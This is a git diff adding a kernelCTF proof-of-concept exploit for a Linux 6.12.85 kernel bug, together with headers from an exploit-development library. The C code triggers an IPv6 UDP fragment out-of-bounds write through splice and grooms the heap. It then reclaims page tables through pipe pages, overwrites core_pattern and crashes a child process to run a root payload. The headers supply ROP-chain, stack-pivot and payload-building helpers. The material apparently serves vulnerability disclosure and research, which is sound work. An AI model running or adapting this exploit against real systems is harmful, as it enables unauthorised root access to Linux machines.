(ssize_t)FIRST_SPLICE_LEN) + stop_here("first trigger splice was short"); + if (second_len != (ssize_t)SECOND_SPLICE_LEN) + stop_here("second trigger splice was short"); +} + +static void close_trigger_pipes(int trigger_pipes[2][2]) +{ + close(trigger_pipes[0][0]); + close(trigger_pipes[0][1]); + close(trigger_pipes[1][0]); + close(trigger_pipes[1][1]); +} + +static void trigger_ipv6_frag_unref(void) +{ + int wp[2], hold[HOLD_PIPES][2], held = 0; + int s, groom_socket, trigger_pipes[2][2], one = 1; + unsigned char marker[PIPE_PAGE_BYTES]; + + if (pipe(wp) != 0) + die("source pipe"); + fcntl(wp[1], F_SETPIPE_SZ, 1 << 20); + + memset(marker, 0x41, sizeof(marker)); + write_all(wp[1], marker, sizeof(marker), "source pipe seed"); + + for (; held < HOLD_PIPES; held++) { + if (pipe(hold[held]) != 0) + break; + fcntl(hold[held][1], F_SETPIPE_SZ, 1 << 20); + if (xtee(wp[0], hold[held][1], PIPE_PAGE_BYTES) != PIPE_PAGE_BYTES) { + close(hold[held][0]); + close(hold[held][1]); + break; + } + } + fprintf(stderr, "[*] held %d extra pipe refs\n", held); + if (held != HOLD_PIPES) + stop_here("not enough held pipe refs"); + + prepare_pt_reclaim_area(); + fprintf(stderr, "[*] page-table reclaim area prepared\n"); + + s = make_udp6_socket(); + if (s < 0) + die("trigger socket"); + vuln_setup(trigger_pipes, SHINFO_NR_FRAGS_OFF, STALE_FRAGS); + + setsockopt(s, IPPROTO_UDP, UDP_CORK, &one, sizeof(one)); + fprintf(stderr, "[*] preparing one ordered stale frag descriptor source\n"); + groom_socket = prepare_stale_frag_descriptors(wp[0]); + + /* + * The 16 target heads use the dedicated skbuff_small_head cache. The + * 320-byte SRH uses kmalloc-512 and the first trigger head uses + * kmalloc-1k, so the second splice reuses a groomed target head. + */ + close(groom_socket); + vuln_trigger(s, trigger_pipes); + + close(s); + close_trigger_pipes(trigger_pipes); + + for (int i = 0; i < held; i++) { + close(hold[i][0]); + close(hold[i][1]); + } + fprintf(stderr, "[*] closed held pipe refs; trying PTE reclaim\n"); + + install_dirty_pagetable_from_pipe(wp[0], wp[1]); +} + +static int vuln_trigger_only(void) +{ + int socket_fd = make_udp6_socket(); + int trigger_pipes[2][2]; + int one = 1; + + if (socket_fd < 0) + die("trigger socket"); + + /* The OOB makes skb_release_data() follow an invalid frag_list. */ + vuln_setup(trigger_pipes, SHINFO_FRAG_LIST_OFF, KASAN_BAD_FRAG_LIST); + setsockopt(socket_fd, IPPROTO_UDP, UDP_CORK, &one, sizeof(one)); + vuln_trigger(socket_fd, trigger_pipes); + close(socket_fd); + close_trigger_pipes(trigger_pipes); + return 0; +} + +static void run_core_pattern_payload(void) +{ + struct rlimit lim = {RLIM_INFINITY, RLIM_INFINITY}; + pid_t pid; + + setrlimit(RLIMIT_CORE, &lim); + prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + + pid = fork(); + if (pid < 0) + die("fork crash child"); + if (pid == 0) { + prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + *(volatile int *)0 = 0x1337; + _exit(1); + } + + waitpid(pid, NULL, 0); + fprintf(stderr, "[*] crash child reaped\n"); +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) + return vuln_trigger_only(); + if (argc > 1) + return helper_main(argv[1]); + + fprintf(stderr, "[*] lts-6.12.85 pipe-page dirty-pagetable\n"); + pin_cpu(0); + + setup_target_data(); + prepare_core_helper(); + trigger_ipv6_frag_unref(); + overwrite_core_pattern(); + run_core_pattern_payload(); + + stop_here("payload fired"); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/libkernelXDK.a b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/libkernelXDK.a new file mode 100755 index 000000000..523bc7e2a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/libkernelXDK.a differ diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/core.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/core.h new file mode 100755 index 000000000..f577f3d64 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/core.h @@ -0,0 +1,24 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include +#include +#include +#include diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/leak/LeakedBuffer.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/leak/LeakedBuffer.h new file mode 100755 index 000000000..105a427d7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/leak/LeakedBuffer.h @@ -0,0 +1,34 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +class LeakedBuffer { + Target& target_; + std::vector data_; + +public: + LeakedBuffer(Target& target, std::vector data); + + uint64_t Read(uint64_t offset, size_t size); + + std::map GetStruct(const std::string& struct_name, int64_t struct_offset = 0); + uint64_t GetField(const std::string& struct_name, const std::string& field_name, int64_t struct_offset = 0); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h new file mode 100755 index 000000000..fcd8c169d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h @@ -0,0 +1,227 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * @file Payload.h + * @brief Defines the Payload class for managing a contiguous block of memory. + */ +#pragma once + +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +/** + * @ingroup payloads_classes + * @class Payload + * @brief Manages a dynamic, contiguous block of memory, tracking used sections. + * + * This class provides functionalities to allocate, reserve, release, and write + * data to a buffer. It maintains a separate tracking mechanism to mark which + * bytes in the buffer are considered "used" or "reserved". It also offers + * methods to find empty contiguous blocks for new data. + */ +class Payload { +private: + std::vector data_; ///< @brief The underlying data buffer. + std::vector used_bytes_; ///< @brief Tracks which bytes in `data_` are marked as used. + uint64_t used_size_; ///< @brief The highest offset that has been marked as used. + +public: + /** + * @brief Constructs a new Payload object with a specified size. + * + * Initializes the internal data buffer and a corresponding `used_bytes` + * tracking vector, marking all bytes as free initially. + * + * @param size The total size in bytes for the payload buffer. + */ + Payload(int size); + + /** + * @brief Copy constructor for the Payload class. + * + * Creates a new Payload object by deep-copying the data, used bytes map, + * and used size from another Payload instance. + * + * @param other The Payload object to copy from. + */ + Payload(const Payload& other); + + /** + * @brief Returns the total size of the internal data buffer. + * @return The total size of the buffer in bytes. + */ + size_t Size(); + + /** + * @brief Gets a reference to the raw internal data vector. + * @warning Modifying this vector directly can lead to inconsistencies with `used_bytes_`. + * @return A reference to the underlying `std::vector` data buffer. + */ + std::vector& GetData(); + + /** + * @brief Returns a copy of the data that is currently marked as "used". + * @return A new `std::vector` containing the data from the beginning + * of the buffer up to `used_size_`. + */ + std::vector GetUsedData() const; + + /** + * @brief Checks if a specified range of bytes is free (not marked as used). + * + * @param offset The starting offset in the buffer to check. + * @param len The length of the contiguous block to check. + * @param throws If true, an ExpKitError is thrown if the range is not free + * or out of bounds. If false, it simply returns `false`. + * @return `true` if the entire range is free and within bounds, `false` otherwise. + * @throws ExpKitError if `throws` is `true` and the range is out of bounds or occupied. + */ + bool CheckFree(uint64_t offset, uint64_t len, bool throws = false); + + /** + * @brief Reserves a contiguous block of memory and marks it as used. + * + * This method checks if the specified range is free. If so, it marks the + * bytes as used and returns a pointer to the beginning of the reserved block + * within the internal data buffer. It updates `used_size_` if the new + * reservation extends beyond the previously used area. + * + * @param offset The starting offset in the buffer to reserve. + * @param len The length of the contiguous block to reserve. + * @return A `uint8_t*` pointer to the reserved memory location within the buffer. + * @throws ExpKitError if the range is not free or out of bounds. + */ + uint8_t* Reserve(uint64_t offset, uint64_t len); + + /** + * @brief Releases a previously reserved block of memory. + * + * Marks the specified range of bytes as free. If the released block was + * at the end of the `used_size_` area, `used_size_` is adjusted downwards. + * + * @param offset The starting offset of the block to release. + * @param len The length of the block to release. + */ + void Release(uint64_t offset, uint64_t len); + + /** + * @brief Reserves space for a `uint64_t` at a given offset. + * @warning This function assumes the underlying buffer's memory address + * will not change during its lifetime, which is generally true + * for `std::vector` unless it's resized. + * @param offset The starting offset for the `uint64_t`. + * @return A `uint64_t*` pointer to the reserved memory location. + * @throws ExpKitError if the space is not free or out of bounds. + */ + uint64_t* ReserveU64(uint64_t offset); + + /** + * @brief Reserves space for a `uint32_t` at a given offset. + * @warning This function assumes the underlying buffer's memory address + * will not change during its lifetime, which is generally true + * for `std::vector` unless it's resized. + * @param offset The starting offset for the `uint32_t`. + * @return A `uint32_t*` pointer to the reserved memory location. + * @throws ExpKitError if the space is not free or out of bounds. + */ + uint32_t* ReserveU32(uint64_t offset); + + /** + * @brief Sets a block of bytes in the payload. + * + * Reserves the specified range and then copies data from `src` into it. + * + * @param offset The starting offset in the payload. + * @param src A pointer to the source data to copy. + * @param len The number of bytes to copy. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void Set(uint64_t offset, void* src, size_t len); + + /** + * @brief Sets a block of bytes from a `std::vector` in the payload. + * + * Reserves the necessary space and then copies the bytes from the provided vector. + * + * @param offset The starting offset in the payload. + * @param bytes The `std::vector` containing the data to copy. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void Set(uint64_t offset, const std::vector& bytes); + + /** + * @brief Sets a 32-bit unsigned integer value at a specific offset. + * + * Reserves space for a `uint32_t` and writes the value. + * + * @param offset The starting offset in the payload. + * @param value The `uint32_t` value to set. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void SetU32(uint64_t offset, uint32_t value); + + /** + * @brief Sets a 64-bit unsigned integer value at a specific offset. + * + * Reserves space for a `uint64_t` and writes the value. + * + * @param offset The starting offset in the payload. + * @param value The `uint64_t` value to set. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void SetU64(uint64_t offset, uint64_t value); + + /** + * @brief Finds the first contiguous block of empty (unused) bytes of a given length. + * + * Searches for a free block starting from `min_offset`, respecting optional alignment. + * The algorithm is O(n) where n is the size of the buffer. + * + * @param len The desired length of the empty block. + * @param alignment The required alignment for the found offset (default is 1). + * @param min_offset The minimum offset to start searching from (default is 0). + * @return An `std::optional` containing the found offset if a suitable + * block is found, or `std::nullopt` otherwise. + */ + std::optional FindEmpty(uint64_t len, uint64_t alignment = 1, uint64_t min_offset=0); + + /** + * @brief Creates a snapshot of the current payload state. + * + * Returns a new Payload object that is a deep copy of the current instance's + * data, used bytes, and used size. This can be used for rollback purposes. + * + * @return A new `Payload` object representing the current state. + */ + Payload Snapshot(); + + /** + * @brief Restores the payload state from a given snapshot. + * + * Replaces the current instance's data, used bytes map, and used size with + * those from the provided snapshot. + * + * @param snapshot The `Payload` object to restore from. + */ + void Restore(const Payload& snapshot); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h new file mode 100755 index 000000000..650f2c2aa --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h @@ -0,0 +1,193 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * @file PayloadBuilder.h + * @brief Defines the PayloadBuilder class for constructing complex exploit payloads. + */ +#pragma once + +#include +#include +#include +#include + +// Project-specific includes +#include +#include +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +/** + * @ingroup payloads_classes + * @brief Helper struct to encapsulate payload data for the builder. + * + * This struct groups a Payload object, associated registers, and an optional + * offset for the next RIP (Instruction Pointer). + * + * @note The `registers` member is stored by value, meaning a copy is made. + */ +struct PayloadData { + Payload& payload; ///< @brief Reference to the Payload object. + const std::vector registers; ///< @brief Registers pointing to this buffer when RIP control is triggered. + const std::optional rip_ptr_offset; ///< @brief Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + + /** + * @brief Constructs a PayloadData instance. + * @param payload_ref Reference to the Payload. + * @param regs Optional vector of Registers pointing to this buffer when RIP control is triggered (defaults to empty). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + PayloadData(Payload &payload_ref, + const std::vector ®s = {}, + std::optional rip_ptr_offset = std::nullopt) + : payload(payload_ref), registers(regs), rip_ptr_offset(rip_ptr_offset) + { + } +}; + + +/** + * @ingroup payloads_classes + * @brief Converts a 64-bit unsigned integer to its hexadecimal string representation. + * @param value The 64-bit unsigned integer to convert. + * @return A `std::string` containing the "0x" prefixed hexadecimal representation + * of the value (uppercase). + */ +std::string intToHex(uint64_t value); + + +/** + * @ingroup payloads_classes + * @class PayloadBuilder + * @brief A class designed to construct and optimize exploit payloads. + * + * This builder manages multiple payload components, ROP (Return-Oriented Programming) + * chains, and stack pivots to create a cohesive and functional exploit payload. + * It attempts to find suitable stack pivots and apply ROP actions efficiently. + * + * @details + * The implementation tracks `StackShiftingInfo` for every `RopAction`. If two actions + * can be stored adjacently, the `StackShiftingInfo` between them will represent an empty shift. + */ +class PayloadBuilder { +public: + /** + * @brief Constructs a PayloadBuilder instance. + * @param pivots Available stack pivot gadgets. + * @param kaslr_base The Kernel Address Space Layout Randomization base address. + */ + PayloadBuilder(const Pivots &pivots, uint64_t kaslr_base) : pivots_(pivots), kaslr_base_(kaslr_base){} + + /** + * @brief Adds a new payload component to the builder. + * @param payload A reference to the Payload object to add. + * @param registers Optional vector of Registers pointing to this buffer when RIP control is triggered (defaults to empty). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + void AddPayload(Payload& payload, + const std::vector& registers = {}, + std::optional rip_ptr_offset = std::nullopt); + + /** + * @brief Adds a new payload component with an optional single register. + * @param payload A reference to the Payload object to add. + * @param reg Optional register pointing to this buffer when RIP control is triggered (defaults to nullopt - so no register points to this buffer). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + void AddPayload(Payload& payload, + std::optional reg = std::nullopt, + std::optional rip_ptr_offset = std::nullopt); + + /** + * @brief Appends a ROP chain to the builder's sequence of ROP actions. + * @param rop_chain The RopChain object to add. + */ + void AddRopChain(const RopChain& rop_chain); + + /** + * @brief Uses stack shift gadgets to shift the stack by at least shift_value. + * + * This method is useful for moving the rop chain towards the end of the buffer. + * This can prevent function calls from clobbering data before the buffer. + * + * @param shift_value Shifts the stack by at least shift_value. + */ + void SetRopShift(const uint64_t shift_value); + + /** + * @brief Attempts to build the final payload. + * + * This method tries to find a suitable stack pivot, applies it to the + * payload, and then attempts to integrate all ROP actions, performing + * stack shifts as necessary. + * + * @param need_pivot If true, the builder will explicitly look for a pivot (defaults to `true`). + * @return `true` if a successful payload is built, `false` otherwise. + * @throws ExpKitError if multiple RIP offsets are found when `need_pivot` is true. + */ + bool Build(bool need_pivot = true); + + /** + * @brief Prints debug information about the built payload, if successful. + * + * This includes details about the chosen stack pivot, stack shifts, and ROP chain layout. + */ + void PrintDebugInfo() const; + + /** + * @brief Returns the chosen stack pivot + * + * This function may be called after Build() to get the stack pivot gadget that was chosen. + */ + StackPivot GetStackPivot(); + +private: + /** + * @brief Attempts to apply a given stack pivot to a payload and integrate ROP actions. + * @param payload A reference to the Payload object to modify. + * @param pivot The StackPivot to try. + * @return `true` if the pivot and all ROP actions can be successfully applied, `false` otherwise. + */ + bool TryPayloadPivot(Payload& payload, StackPivot pivot); + + /** + * @brief Estimates the contiguous free space after a given offset in a payload. + * + * This helper function is used during the build process to evaluate potential + * payload layouts. It assumes 8-byte (uint64_t) alignment for free space. + * + * @param payload A reference to the Payload object. + * @param offset The starting offset from which to estimate free space. + * @return The estimated available free space in bytes. + */ + uint64_t EstimatePayloadSpaceAfter(Payload& payload, uint64_t offset); + + std::vector payload_datas_; ///< @brief List of payload components to integrate. + std::vector rop_actions_; ///< @brief Sequence of ROP actions to execute. + uint64_t rop_shift_ = 0; ///< @brief Minimum shift before the rop payload inserted + Pivots pivots_; ///< @brief Available stack pivot gadgets. + uint64_t kaslr_base_; ///< @brief The Kernel Address Space Layout Randomization base address. + std::optional chosen_pivot_; ///< @brief The pivot chosen during the build process. + std::optional chosen_payload_; ///< @brief The final constructed payload. + std::vector chosen_shifts_; ///< @brief Information about stack shifts performed during the build. +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h new file mode 100755 index 000000000..e3e8647f5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h @@ -0,0 +1,143 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +// Forward declarations for types used in the header if their full definitions +// are not strictly needed (e.g., if only pointers/references are used), +// but in this case, the full definitions are likely needed due to value types. +// struct RopAction; // Already fully defined below +// class Target; // Already fully defined below + + +/** + * @ingroup payloads_classes + * @brief Represents a single ROP (Return-Oriented Programming) action. + * + * A RopAction is a sequence of 64-bit values that form part of a ROP chain. + * These values can represent addresses, immediate data, or arguments for gadgets. + */ +struct RopAction { + /** + * @brief The sequence of 64-bit values comprising this ROP action. + */ + std::vector values; +}; + +/** + * @ingroup payloads_classes + * @class RopChain + * @brief Manages an ordered sequence of ROP actions to form a ROP chain. + * + * The RopChain class allows for the construction of complex ROP chains + * by adding individual ROP actions or raw 64-bit values. It handles + * KASLR (Kernel Address Space Layout Randomization) offsets and + * argument substitution for actions defined by a Target. + */ +class RopChain { +public: + /** + * @brief Constructs a new RopChain. + * @param target A reference to the Target object which provides definitions for ROP actions. + * @param kaslr_base The base address for KASLR, used to adjust symbol addresses. + */ + RopChain(Target &target, uint64_t kaslr_base); + + /** + * @brief Adds a predefined ROP action to the chain. + * + * This method retrieves the sequence of ROP items for a given action ID + * from the associated Target and constructs a RopAction, substituting + * arguments and applying KASLR offsets where necessary. + * + * @param id The ID of the ROP action to add. + * @param arguments A vector of 64-bit arguments to substitute into the action. + * The index of an argument in this vector corresponds to its + * `item.value` when `item.type == RopItemType::ARGUMENT`. + * @throw ExpKitError If an unexpected RopAction item type is encountered or + * if there are not enough arguments provided for an action. + */ + void AddRopAction(RopActionId id, std::vector arguments = {}); + + /** + * @brief Adds a raw 64-bit item directly to the ROP chain as a single-value action. + * + * This is useful for adding arbitrary values (e.g., stack pivots, return addresses, + * or immediate values) that are not part of a predefined RopAction. + * + * @param item The 64-bit value to add. + * @param offset If true, the `kaslr_base_` will be added to the item. + * Defaults to false. + */ + void Add(uint64_t item, bool offset = false); + + /** + * @brief Retrieves the entire ROP chain as a vector of bytes. + * + * The 64-bit items in the chain are converted to a contiguous byte array. + * This is useful for writing the ROP chain directly to memory or a file. + * + * @return A `std::vector` representing the ROP chain in byte format. + */ + std::vector GetData() const; + + /** + * @brief Retrieves the entire ROP chain as a vector of 64-bit words. + * + * This method collects all individual 64-bit values from the sequence of + * RopActions into a single flat vector. + * + * @return A `std::vector` representing the ROP chain as 64-bit words. + */ + std::vector GetDataWords() const; + + /** + * @brief Calculates the total size of the ROP chain in bytes. + * @return The total size of the ROP chain in bytes. + */ + uint64_t GetByteSize() const; + + /** + * @brief Retrieves the list of individual RopAction objects that compose this chain. + * @return A `std::vector` containing all added ROP actions. + */ + std::vector GetActions() const; + + /** + * @brief The KASLR base address used for symbol offsetting. + */ + uint64_t kaslr_base_; + + /** + * @brief Stores the ordered sequence of ROP actions. + */ + std::vector actions_; + +private: + /** + * @brief A reference to the Target object, providing definitions for ROP actions. + */ + Target& target_; +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h new file mode 100755 index 000000000..9fc42a5ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/PivotFinder.h @@ -0,0 +1,257 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Encapsulates information about a successful ROP pivot. + */ +struct RopPivotInfo { + /** @brief The ROP chain being pivoted to. */ + const RopChain& rop; + /** @brief The chosen stack pivot gadget. */ + StackPivot pivot; + /** @brief The minimum required offset for the ROP chain after shifting. */ + uint64_t rop_min_offset; + /** @brief The actual offset within the payload where the ROP chain is placed. */ + uint64_t rop_offset; + /** @brief Information about the stack shifting performed. */ + StackShiftingInfo stack_shift; + + /** + * @brief Prints debug information about the ROP pivot. + * + * This includes details about the selected stack pivot, stack shifts, and ROP chain offset. + */ + // TODO: make this more universal + void PrintDebugInfo() const; +}; + +/** + * @ingroup pivot_classes + * @class PivotFinder + * @brief Finds suitable stack pivots and stack shifting gadgets within a payload. + */ +class PivotFinder { + Pivots pivots_; + std::set buf_regs_; + Payload& payload_; + + /** + * @brief Internal helper function to find stack pivot gadgets. + * + * This function searches for both one-gadget and push/indirect/pop RSP + * style pivots that are compatible with the current payload state and buffer registers. + * + * @param only_one If true, stops after finding the first suitable pivot. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return A vector of found StackPivot objects. + */ + std::vector FindInternal(bool only_one, + uint64_t free_bytes_after = 0); + + /** + * @brief Sorts the internal lists of pivot gadgets by their next RIP offset or shift amount. + * + * Sorting helps in finding the most suitable gadgets efficiently. + */ + void SortFields(); + +public: + /** + * @brief Constructs a PivotFinder object with a single buffer register. + * + * @param pivots The collection of available pivot gadgets. + * @param buf_reg The single register pointing to the target buffer. + * @param payload The payload object to operate on. + */ + PivotFinder(const Pivots& pivots, Register buf_reg, Payload& payload); + + /** + * @brief Constructs a PivotFinder object with multiple buffer registers. + * + * @param pivots The collection of available pivot gadgets. + * @param buf_regs A vector of registers pointing to the target buffer. + * @param payload The payload object to operate on. + */ + PivotFinder(const Pivots& pivots, std::vector buf_regs, + Payload& payload); + + /** + * @brief Checks if a given register usage is compatible with the buffer registers + * and doesn't overlap with reserved space in the payload. + * + * @param reg The RegisterUsage to check. + * @return True if the register usage is valid for pivoting, false otherwise. + * @note This function has TODOs related to more advanced checks for RIP control and skipping used space. + */ + bool CheckRegister(const RegisterUsage& reg); + + /** + * @brief Checks if a One-Gadget pivot is valid for the current payload state. + * + * @param pivot The OneGadgetPivot to check. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return True if the One-Gadget pivot is valid, false otherwise. + */ + bool CheckOneGadget(const OneGadgetPivot& pivot, + uint64_t free_bytes_after = 0); + + /** + * @brief Checks if a Push/Indirect pivot is valid for the current payload state. + * + * @param pivot The PushIndirectPivot to check. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return True if the Push/Indirect pivot is valid, false otherwise. + */ + bool CheckPushIndirect(const PushIndirectPivot& pivot, + uint64_t free_bytes_after = 0); + + /** + * @brief Finds all suitable stack pivot gadgets. + * + * @return A vector containing all found StackPivot objects. + */ + std::vector FindAll(); + + /** + * @brief Finds a stack shift gadget with a shift amount greater than or equal + * to `min_shift` and less than `upper_bound`. + * + * @param min_shift The minimum required stack shift amount. + * @param upper_bound The exclusive upper bound for the stack shift amount. + * @return An optional StackShiftPivot if a suitable gadget is found, otherwise `std::nullopt`. + */ + std::optional FindShift( + uint64_t min_shift, + uint64_t upper_bound = std::numeric_limits::max()); + + /** + * @brief Finds a single suitable stack pivot gadget. + * + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return An optional StackPivot object. Contains a value if a pivot is found, otherwise `std::nullopt`. + */ + std::optional Find(uint64_t free_bytes_after = 0); + + /** + * @brief Finds a sequence of stack shift gadgets to shift the stack pointer + * from a given offset to at least a minimum target offset. + * + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset The minimum desired offset for the stack pointer. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + */ + std::optional GetShiftToOffset(uint64_t from_offset, + uint64_t min_to_offset); + + /** + * @brief Finds a sequence of stack shift gadgets to shift the stack pointer + * to accommodate a ROP chain of a given size. + * + * @param from_offset The starting offset of the stack pointer. + * @param byte_size The size of the ROP chain in bytes. + * @param include_extra_slot If true, includes an extra 8 bytes in the required space. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + */ + std::optional GetShiftToRop(uint64_t from_offset, + uint64_t byte_size, + bool include_extra_slot, + uint64_t min_rop_start = 0 + ); + + /** + * @brief Internal helper function to find a sequence of stack shift gadgets using a breadth-first search. + * + * The search aims to find a path of stack shifts that results in a stack pointer + * offset that meets either the minimum target offset or provides sufficient free space. + * + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset An optional minimum desired offset for the stack pointer. + * @param min_next_space An optional minimum required free space at the final stack pointer offset. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + * @throws ExpKitError if both `min_to_offset` and `min_next_space` are not set. + */ + std::optional FindShiftsInternal( + uint64_t from_offset, std::optional min_to_offset, + std::optional min_next_space); + + /** + * @brief Converts a chain of StackShiftPivot gadgets into a StackShiftingInfo structure. + * + * This function calculates the resulting offsets and populates the `StackShiftInfo` + * vector based on the provided chain of gadgets and the starting offset. + * + * @param chain The vector of StackShiftPivot gadgets forming the chain. + * @param from_offset The starting offset of the stack pointer before the shifts. + * @return A StackShiftingInfo structure describing the sequence of shifts. + */ + StackShiftingInfo GetShiftInfoFromChain( + const std::vector& chain, uint64_t from_offset); + + /** + * @brief Applies a sequence of stack shifts to the payload to reach at least a minimum target offset. + * + * @param kaslr_base The Kernel Address Space Layout Randomization base address. + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset The minimum desired offset for the stack pointer. + * @return The final offset of the stack 